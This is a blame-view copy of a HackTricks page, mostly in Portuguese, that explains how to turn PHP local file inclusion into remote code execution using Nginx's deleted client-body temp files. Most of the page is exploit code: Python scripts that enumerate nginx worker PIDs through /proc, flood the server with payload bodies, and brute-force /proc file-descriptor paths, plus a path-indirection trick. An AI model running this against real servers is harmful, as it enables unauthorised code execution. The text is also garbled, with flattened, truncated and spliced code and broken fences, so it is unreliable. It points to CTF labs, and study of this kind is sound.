hacktricks/pentesting-web/file-inclusion/lfi2rce-via-nginx-temp-files.md

100 lines
8.7 KiB
Markdown
Raw Normal View History

# LFI2RCE via arquivos temporários do Nginx
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
Outras maneiras de apoiar o HackTricks:
2022-04-28 16:01:33 +00:00
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
2022-04-28 16:01:33 +00:00
</details>
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) é um mecanismo de busca alimentado pela **dark web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares de roubo**.
O principal objetivo do WhiteIntel é combater tomadas de contas e ataques de ransomware resultantes de malwares de roubo de informações.
Você pode verificar o site deles e experimentar o mecanismo de busca gratuitamente em:
{% embed url="https://whiteintel.io" %}
***
2023-06-06 18:56:34 +00:00
## Configuração vulnerável
2022-04-20 19:39:32 +00:00
[**Exemplo de https://bierbaumer.net/security/php-lfi-with-nginx-assistance/**](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
2023-06-06 18:56:34 +00:00
* Código PHP:
\`\`\`\`h\`
/dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon\_inode:\[eventfd] lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:\[27587] lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:\[27589] lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:\[44926] lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:\[44927] lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted) ... \`\`\` Observação: Não é possível incluir diretamente \`/proc/34/fd/15\` neste exemplo, pois a função \`include\` do PHP resolveria o caminho para \`/var/lib/nginx/body/0000001368 (deleted)\`, que não existe no sistema de arquivos. Essa restrição mínima pode ser contornada por alguma indireção como: \`/proc/self/fd/34/../../../34/fd/15\`, que finalmente executará o conteúdo do arquivo deletado \`/var/lib/nginx/body/0000001368\`. ## Exploração Completa \`\`\`python #!/usr/bin/env python3 import sys, threading, requests # explorar inclusão de arquivo local PHP (LFI) via assistência de buffer de corpo do cliente do nginx # veja https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ para detalhes URL = f'http://{sys.argv\[1]}:{sys.argv\[2]}/' # encontrar processos de trabalho do nginx r = requests.get(URL, params={ 'file': '/proc/cpuinfo' }) cpus = r.text.count('processor') r = requests.get(URL, params={ 'file': '/proc/sys/kernel/pid\_max' }) pid\_max = int(r.text) print(f'\[\*] cpus: {cpus}; pid\_max: {pid\_max}') nginx\_workers = \[] for pid in range(pid\_max): r = requests.get(URL, params={ 'file': f'/proc/{pid}/cmdline' }) if b'nginx: worker process' in r.content: print(f'\[\*] nginx worker found: {pid}') nginx\_workers.append(pid) if len(nginx\_workers) >= cpus: break done = False # fazer upload de um corpo de cliente grande para forçar o nginx a criar um /var/lib/nginx/body/$X def uploader(): print('\[+] starting uploader') while not done: requests.get(URL, data=' //'
2022-04-20 19:39:32 +00:00
```
requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload)))))
except:
pass
2022-04-20 19:39:32 +00:00
```
```python
def send_payload_worker(requests_session): while True: send_payload(requests_session)
2022-04-20 19:39:32 +00:00
def send_payload_multiprocess(requests_session): # Use all CPUs to send the payload as request body for Nginx for _ in range(multiprocessing.cpu_count()): p = multiprocessing.Process(target=send_payload_worker, args=(requests_session,)) p.start()
2022-04-20 19:39:32 +00:00
def generate_random_path_prefix(nginx_pids): # Este método cria um caminho a partir de uma quantidade aleatória de componentes de caminho ProcFS. Um caminho gerado terá a aparência de /proc/<nginx pid 1>/cwd/proc/<nginx pid 2>/root/proc/<nginx pid 3>/root path = "" component_num = random.randint(0, 10) for _ in range(component_num): pid = random.choice(nginx_pids) if random.randint(0, 1) == 0: path += f"/proc/{pid}/cwd" else: path += f"/proc/{pid}/root" return path
2022-04-20 19:39:32 +00:00
def read_file(requests_session, nginx_pid, fd, nginx_pids): nginx_pid_list = list(nginx_pids) while True: path = generate_random_path_prefix(nginx_pid_list) path += f"/proc/{nginx_pid}/fd/{fd}" try: d = requests_session.get(SERVER + f"/?action=include&file={path}").text except: continue # As flags são formatadas como hxp{} if "hxp" in d: print("Encontrada flag! ") print(d)
2022-04-20 19:39:32 +00:00
def read_file_worker(requests_session, nginx_pid, nginx_pids): # Escaneia os FDs do Nginx entre 10 - 45 em um loop. Como arquivos e sockets continuam fechando - é muito comum que o FD do corpo da solicitação abra dentro desta faixa for fd in range(10, 45): thread = threading.Thread(target = read_file, args = (requests_session, nginx_pid, fd, nginx_pids)) thread.start()
2022-04-20 19:39:32 +00:00
def read_file_multiprocess(requests_session, nginx_pids): for nginx_pid in nginx_pids: p = multiprocessing.Process(target=read_file_worker, args=(requests_session, nginx_pid, nginx_pids)) p.start()
2022-04-20 19:39:32 +00:00
if __name__ == "main": print('\[DEBUG] Criando sessão de requisições') requests_session = create_requests_session() print('\[DEBUG] Obtendo PIDs do Nginx') nginx_pids = get_nginx_pids(requests_session) print(f'\[DEBUG] PIDs do Nginx: {nginx_pids}') print('\[DEBUG] Iniciando envio de payload') send_payload_multiprocess(requests_session) print('\[DEBUG] Iniciando leitores de FD') read_file_multiprocess(requests_session, nginx_pids)
2022-04-20 19:39:32 +00:00
```
```
## Labs
2022-04-20 19:39:32 +00:00
* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz)
* [https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/](https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/)
* [https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/](https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/)
## References
2022-04-20 19:39:32 +00:00
* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
2022-04-28 16:01:33 +00:00
### [WhiteIntel](https://whiteintel.io)
<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is a **dark-web** fueled search engine that offers **free** functionalities to check if a company or its customers have been **compromised** by **stealer malwares**.
Their primary goal of WhiteIntel is to combat account takeovers and ransomware attacks resulting from information-stealing malware.
You can check their website and try their engine for **free** at:
<div data-gb-custom-block data-tag="embed" data-url='https://whiteintel.io'></div>
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
<summary>Support HackTricks</summary>
2022-04-28 16:01:33 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}
```